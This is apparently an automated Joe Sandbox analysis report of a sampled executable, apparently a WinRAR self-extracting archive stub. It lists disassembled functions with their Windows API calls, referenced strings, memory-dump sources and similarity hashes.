Part of subcall function 001E9036: SHGetMalloc.SHELL32(002120E8), ref: 001E9090

Part of subcall function 001E0722: GetCPInfo.KERNEL32(00000000,?), ref: 001E0733
Part of subcall function 001E0722: IsDBCSLeadByte.KERNEL32(00000000), ref: 001E0747

GetCommandLineW.KERNEL32 ref: 001EC179
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 001EC1A0
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 001EC1B1
UnmapViewOfFile.KERNEL32(00000000), ref: 001EC1EB

Part of subcall function 001EBE0A: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 001EBE20
Part of subcall function 001EBE0A: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 001EBE5C

CloseHandle.KERNEL32(00000000), ref: 001EC1F4
GetModuleFileNameW.KERNEL32(00000000,00227938,00000800), ref: 001EC20F
SetEnvironmentVariableW.KERNEL32(sfxname,00227938), ref: 001EC221
GetLocalTime.KERNEL32(?), ref: 001EC228
_swprintf.LIBCMT ref: 001EC267
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 001EC279
GetModuleHandleW.KERNEL32(00000000), ref: 001EC27C
LoadIconW.USER32(00000000,00000064), ref: 001EC293
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_00019B4F,00000000), ref: 001EC2E4
Sleep.KERNEL32(?), ref: 001EC312
DeleteObject.GDI32 ref: 001EC351
DeleteObject.GDI32(?), ref: 001EC35D

Part of subcall function 001EA8D4: CharUpperW.USER32(?,?,?,?,00001000), ref: 001EA92C
Part of subcall function 001EA8D4: CharUpperW.USER32(?,?,?,?,?,00001000), ref: 001EA953

CloseHandle.KERNEL32 ref: 001EC39C

Strings

sfxname, xrefs: 001EC21C
8y", xrefs: 001EC208
*a!, xrefs: 001EC1E1
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 001EC258
sfxstime, xrefs: 001EC274
winrarsfxmappingfile.tmp, xrefs: 001EC194
STARTDLG, xrefs: 001EC2D9
*x", xrefs: 001EC1DC

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCharCloseDeleteObjectProcUpperView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$*a!$*x"$8y"$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 985665271-3581754089
Opcode ID: 09d197cf32340fe5410db4bd6110671229f277285a98d679db3e795a9e15d588
Instruction ID: 97179a32d98b2f21a24268e68f9db01c712207fe494cc83b2fe02b2e3cd54890
Opcode Fuzzy Hash: 09d197cf32340fe5410db4bd6110671229f277285a98d679db3e795a9e15d588
Instruction Fuzzy Hash: 1661E571904790BFD320ABA6FC8DF6F7BE8AB68700F044419F944932A2DB749C55C7A2

Function 001E8BD0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 92
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE(00000066,PNG,?,?,001E9AC8,00000066), ref: 001E8BE1
SizeofResource.KERNEL32(00000000,75295780,?,?,001E9AC8,00000066), ref: 001E8BF9
LoadResource.KERNEL32(00000000,?,?,001E9AC8,00000066), ref: 001E8C0C
LockResource.KERNEL32(00000000,?,?,001E9AC8,00000066), ref: 001E8C17
GlobalAlloc.KERNELBASE(00000002,00000000,00000000,?,?,?,001E9AC8,00000066), ref: 001E8C35
GlobalLock.KERNEL32(00000000), ref: 001E8C42
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 001E8C62
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 001E8C9D
GlobalUnlock.KERNEL32(00000000), ref: 001E8CB2
GlobalFree.KERNEL32(00000000), ref: 001E8CB9

Strings

PNG, xrefs: 001E8BD2

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: d1889d332cdbaa3a0f8407f78164b18d1ea97049ae658f1f756c756b7136274d
Instruction ID: eec30b1b950e2499e6f89037b6735d3cf47ed8d0aa8ea5e4ea58886210917ebe
Opcode Fuzzy Hash: d1889d332cdbaa3a0f8407f78164b18d1ea97049ae658f1f756c756b7136274d
Instruction Fuzzy Hash: BF219571501B41AFD7219F62EC8DA6FBFA8EF4A750B100928F84AC3261DF31CC00DAA1

Function 001DA273 Relevance: 7.6, APIs: 5, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,001DA16E,000000FF,?,?), ref: 001DA2A8
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,001DA16E,000000FF,?,?), ref: 001DA2DE
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,001DA16E,000000FF,?,?), ref: 001DA2E6
FindNextFileW.KERNEL32(?,?,?,?,?,?,001DA16E,000000FF,?,?), ref: 001DA30E
GetLastError.KERNEL32(?,?,?,?,001DA16E,000000FF,?,?), ref: 001DA31A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 57dc22bde58b26a2d3f80fc9465e8f095e87c0cc66060c43fb8b79736118ed19
Instruction ID: 57eba9b28047c313f2d4084e9bfc6a767188007f944c4530a6b2cd2b9f77a259
Opcode Fuzzy Hash: 57dc22bde58b26a2d3f80fc9465e8f095e87c0cc66060c43fb8b79736118ed19
Instruction Fuzzy Hash: 25416272608295AFC324DF64C8C4ADEF7E9BF49350F404A2AF5D9D3340D774A9548B92

Function 001F4A5A Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,001F4A30,?,00207F68,0000000C,001F4B87,?,00000002,00000000), ref: 001F4A7B
TerminateProcess.KERNEL32(00000000,?,001F4A30,?,00207F68,0000000C,001F4B87,?,00000002,00000000), ref: 001F4A82
ExitProcess.KERNEL32 ref: 001F4A94

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0240803244988a1a58ab949cb0e85ed26471c23f61c614db1eac8cdb28fa3bdc
Instruction ID: 148797727c963a585688d78696cf31274a4bd906339329c4de3db86d082bb54d
Opcode Fuzzy Hash: 0240803244988a1a58ab949cb0e85ed26471c23f61c614db1eac8cdb28fa3bdc
Instruction Fuzzy Hash: A6E0B631440608AFDF11AF64ED4DBAA3B6AEB61341F014458FA4A9B122DF35DD92DB84

Function 001D8409 Relevance: 3.9, APIs: 2, Instructions: 888COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D840E
_memcmp.LIBVCRUNTIME ref: 001D8870

Part of subcall function 001D80F8: CharUpperW.USER32(?,?,00000000,?,?,?,?,?,?,?,00000800,?,001D86E9,?,-00000930,?), ref: 001D81BB

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CharH_prologUpper_memcmp
String ID:
API String ID: 4047935103-0
Opcode ID: 3fc144db0d703956337eed81ff8130b60f237f1afb61c9374e170eeafda7bbed
Instruction ID: 18320fba5d7fc27c1297b64a82822dbbdeae2fb6da0bb8ec4e04c081b2d47440
Opcode Fuzzy Hash: 3fc144db0d703956337eed81ff8130b60f237f1afb61c9374e170eeafda7bbed
Instruction Fuzzy Hash: 19720B71504185EEDF25DF64C885BFAB7A9BF15300F0841BBED599B382DB309A89CB60

Function 001E5984 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2d5af31d5c0bd9b41790286ab9459038f6e768af3a5b02982ceedf2aa2be76af
Instruction ID: 318c9fc69180c0ee36325cafc2764b0538bbf9ed1c350b4f909a19670a3cd854
Opcode Fuzzy Hash: 2d5af31d5c0bd9b41790286ab9459038f6e768af3a5b02982ceedf2aa2be76af
Instruction Fuzzy Hash: CFD116B1A04F858FCB14CF2AC88479EBBE6BF9430CF08056DE8459B642D374E955CB96

Function 001E9B4F Relevance: 102.2, APIs: 46, Strings: 12, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001E9B54

Part of subcall function 001D12E7: GetDlgItem.USER32(00000000,00003021), ref: 001D132B
Part of subcall function 001D12E7: SetWindowTextW.USER32(00000000,002002E4), ref: 001D1341

Strings

*A!, xrefs: 001EA2BA
"%s"%s, xrefs: 001EA08A
-el -s2 "-d%s" "-sp%s", xrefs: 001E9EE8
<, xrefs: 001E9F01
@, xrefs: 001E9F0E
LICENSEDLG, xrefs: 001EA3D4
*x", xrefs: 001E9FB2
!!, xrefs: 001E9F46
__tmp_rar_sfx_access_check_%u, xrefs: 001E9E2E
winrarsfxmappingfile.tmp, xrefs: 001E9F23
STARTDLG, xrefs: 001E9B73
*a!, xrefs: 001E9ED1

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: !!$"%s"%s$*A!$*a!$*x"$-el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-428025828
Opcode ID: 0b952e5d81306a10dee0f573ac1fa0a3e2f22dcad3f0dd8fba1a80eaa7cc8c09
Instruction ID: 543b159ea8d2ba59e080a9eb1a7d7e8407e713431f2b8821417c45bd8d97f90d
Opcode Fuzzy Hash: 0b952e5d81306a10dee0f573ac1fa0a3e2f22dcad3f0dd8fba1a80eaa7cc8c09
Instruction Fuzzy Hash: E942F471A40784BFEB21EB61AC8DFEE3BB8AF25700F404055F605A61D2DBB45D94CB62

Function 001DF353 Relevance: 77.3, APIs: 22, Strings: 22, Instructions: 314
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 001DF36B
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 001DF383
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 001DF3A6
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 001DF651
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001DF669
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 001DF67B
ReadFile.KERNEL32(00000000,?,00007FFE,00200858,00000000), ref: 001DF69A
CloseHandle.KERNEL32(00000000), ref: 001DF6F2
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 001DF708
CompareStringW.KERNEL32(00000400,00001001,002008A4,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 001DF762
GetFileAttributesW.KERNELBASE(?,?,00200870,00000800,?,00000000,?,00000800), ref: 001DF78B
GetFileAttributesW.KERNEL32(?,?,0 ,00000800), ref: 001DF7C4

Part of subcall function 001DF309: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 001DF324
Part of subcall function 001DF309: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,001DDEC8,Crypt32.dll,?,001DDF4A,?,001DDF2E,?,?,?,?), ref: 001DF346

_swprintf.LIBCMT ref: 001DF834
_swprintf.LIBCMT ref: 001DF880

Part of subcall function 001D3F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001D3F6E

AllocConsole.KERNEL32 ref: 001DF888
GetCurrentProcessId.KERNEL32 ref: 001DF892
AttachConsole.KERNEL32(00000000), ref: 001DF899
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 001DF8BF
WriteConsoleW.KERNEL32(00000000), ref: 001DF8C6
Sleep.KERNEL32(00002710), ref: 001DF8D1
FreeConsole.KERNEL32 ref: 001DF8D7
ExitProcess.KERNEL32 ref: 001DF8DF

Strings

SetDefaultDllDirectories, xrefs: 001DF3A0
, , xrefs: 001DF47E
x , xrefs: 001DF496
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 001DF86E
@ , xrefs: 001DF5CC
kernel32, xrefs: 001DF361
\ , xrefs: 001DF436
0 , xrefs: 001DF7AB
D , xrefs: 001DF486
, xrefs: 001DF60E
uxtheme.dll, xrefs: 001DF801
\ , xrefs: 001DF5D7
dwmapi.dll, xrefs: 001DF40E, 001DF7F7
$ , xrefs: 001DF5C1
D , xrefs: 001DF42E
SetDllDirectoryW, xrefs: 001DF37D
t , xrefs: 001DF43E
, xrefs: 001DF41E
DXGIDebug.dll, xrefs: 001DF3E3, 001DF74E
x , xrefs: 001DF5E2
, xrefs: 001DF466
` , xrefs: 001DF48E

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: $$ $, $0 $@ $D $D $DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$\ $\ $` $dwmapi.dll$kernel32$t $uxtheme.dll$x $x $ $
API String ID: 1201351596-2165618853
Opcode ID: 172c05e28612e3018ffb35c9a919df8668b516fee54a05c94a302e5d1342d683
Instruction ID: da1f6a342f918cb2605176ce060d73fd5b14585a856465db1a2249ceb7e5f525
Opcode Fuzzy Hash: 172c05e28612e3018ffb35c9a919df8668b516fee54a05c94a302e5d1342d683
Instruction Fuzzy Hash: 47D170B11183849BF730DF50D8C9B9FBBE8FF85704F50491EE58996282CBB09659CB62

Function 001EAA45 Relevance: 33.7, APIs: 14, Strings: 5, Instructions: 438
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 001EAA4A

Part of subcall function 001E96EC: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 001E97B4

SetFileAttributesW.KERNEL32(?,00000005,?,?,?,00000800,?,?,00000000,00000001,001EA35D,?,00000000), ref: 001EAB7F
GetFileAttributesW.KERNEL32(?), ref: 001EAC39
DeleteFileW.KERNEL32(?), ref: 001EAC47
SetWindowTextW.USER32(?,?), ref: 001EAD90
_wcsrchr.LIBVCRUNTIME ref: 001EAF1A
GetDlgItem.USER32(?,00000066), ref: 001EAF55
SetWindowTextW.USER32(00000000,?), ref: 001EAF65
SendMessageW.USER32(00000000,00000143,00000000,0021412A), ref: 001EAF79
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 001EAFA2

Strings

%s.%d.tmp, xrefs: 001EAC5F
Software\Microsoft\Windows\CurrentVersion, xrefs: 001EAE39
<br>, xrefs: 001EACF3
ProgramFilesDir, xrefs: 001EAE64
*A!, xrefs: 001EAF37

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: File$AttributesMessageSendTextWindow$DeleteEnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$*A!$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3676479488-123631229
Opcode ID: 1af35008b5edb338d5eec2ab407b0bf879a7b3920a41c4a6df5cd78985dc850a
Instruction ID: c9b50449cd7bc4c81d9241b72273b2c2618669661a43f058713acbe9f3250a99
Opcode Fuzzy Hash: 1af35008b5edb338d5eec2ab407b0bf879a7b3920a41c4a6df5cd78985dc850a
Instruction Fuzzy Hash: 8CE17E72900659AAEF24EBA1DD85DEE73BCAF14350F5040A6F909E3141EF70AB84CB61

Function 001DCED7 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001DC88E: _wcschr.LIBVCRUNTIME ref: 001DC8BD

GetWindowRect.USER32(?,?), ref: 001DCF0E
GetClientRect.USER32(?,?), ref: 001DCF1A
GetWindowLongW.USER32(?,000000F0), ref: 001DCFBB
GetWindowRect.USER32(?,?), ref: 001DCFE8
GetWindowTextW.USER32(?,?,00000400), ref: 001DD007
SetWindowTextW.USER32(?,?), ref: 001DD02E
GetSystemMetrics.USER32(00000008), ref: 001DD036
GetWindow.USER32(?,00000005), ref: 001DD041
GetWindowTextW.USER32(00000000,?,00000400), ref: 001DD06C
SetWindowTextW.USER32(00000000,00000000), ref: 001DD099
GetWindowRect.USER32(00000000,?), ref: 001DD0AC
GetWindow.USER32(00000000,00000002), ref: 001DD11E

Strings

d, xrefs: 001DCF3A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID: d
API String ID: 4134264131-2564639436
Opcode ID: 483f2995ff1a722a7780a7919bdd41a5a341ad09be95991b02c11cb22ec79634
Instruction ID: e704821509241dbd1a54af950b33e448f109eaddd65df477b2bdbd746e8ebc6e
Opcode Fuzzy Hash: 483f2995ff1a722a7780a7919bdd41a5a341ad09be95991b02c11cb22ec79634
Instruction Fuzzy Hash: 5D617D72208301AFD311DF68DD89E6BBBEAFBC9704F44491EF68492291C774E909CB52

Function 001EB70E Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 96
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(00000068,00228958), ref: 001EB71D
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,?,?,?,001E9325), ref: 001EB748
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 001EB757
SendMessageW.USER32(00000000,000000C2,00000000,002002E4), ref: 001EB761
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 001EB777
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 001EB78D
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 001EB7CD
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 001EB7D7
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 001EB7E6
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 001EB809
SendMessageW.USER32(00000000,000000C2,00000000,00201368), ref: 001EB814

Strings

\, xrefs: 001EB77D

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: MessageSend$ItemShowWindow
String ID: \
API String ID: 1207805008-2967466578
Opcode ID: 6e718685ef7b1c2938855afc33f776256673fa8d848f89418ceed4ee4c506946
Instruction ID: 06be8994260e2fa6efb7f2e7e9548e743fa27ffbf0841ba76310464b275eb6df
Opcode Fuzzy Hash: 6e718685ef7b1c2938855afc33f776256673fa8d848f89418ceed4ee4c506946
Instruction Fuzzy Hash: 0C2157712857447BE310EB24AC45FAF7EDCEFA2714F000618FA90961D1CBA549088AA7

Function 001EB9AA Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(000001C0), ref: 001EBAD8
ShowWindow.USER32(?,00000000,?,?,?,?,?,?,?), ref: 001EBB1D
GetExitCodeProcess.KERNEL32(?,?), ref: 001EBB55
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 001EBB7B
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?), ref: 001EBC0A

Part of subcall function 001E0B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,001DAC49,?,?,?,001DABF8,?,-00000002,?,00000000,?), ref: 001E0B28

Strings

.inf, xrefs: 001EBA94
.exe, xrefs: 001EBB85
*Q!, xrefs: 001EBA78
, xrefs: 001EBA2A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $*Q!$.exe$.inf
API String ID: 3686203788-2634471134
Opcode ID: adceb419f10fb1c5aecd96077f170312903240688108289b2738a9270abc3b1c
Instruction ID: 714e33b8ced7b365f6e11d3c95062d91c49e23544d0b984a8578575fef2f3446
Opcode Fuzzy Hash: adceb419f10fb1c5aecd96077f170312903240688108289b2738a9270abc3b1c
Instruction Fuzzy Hash: BB51D27150DBC09ADB31DF62D9C46BFBBE9AF85704F04081DE5C193295EBB18984CB52

Function 001DCACC Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 001DCAD1
_wcschr.LIBVCRUNTIME ref: 001DCAEF
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,001DCAB3,?), ref: 001DCB0A

Part of subcall function 001E06E9: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,001DB25B,00000000,?,?,?,?), ref: 001E0705

Strings

R, xrefs: 001DCC21
*messages***, xrefs: 001DCBD6
*messages***, xrefs: 001DCC0F
a, xrefs: 001DCC2B

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
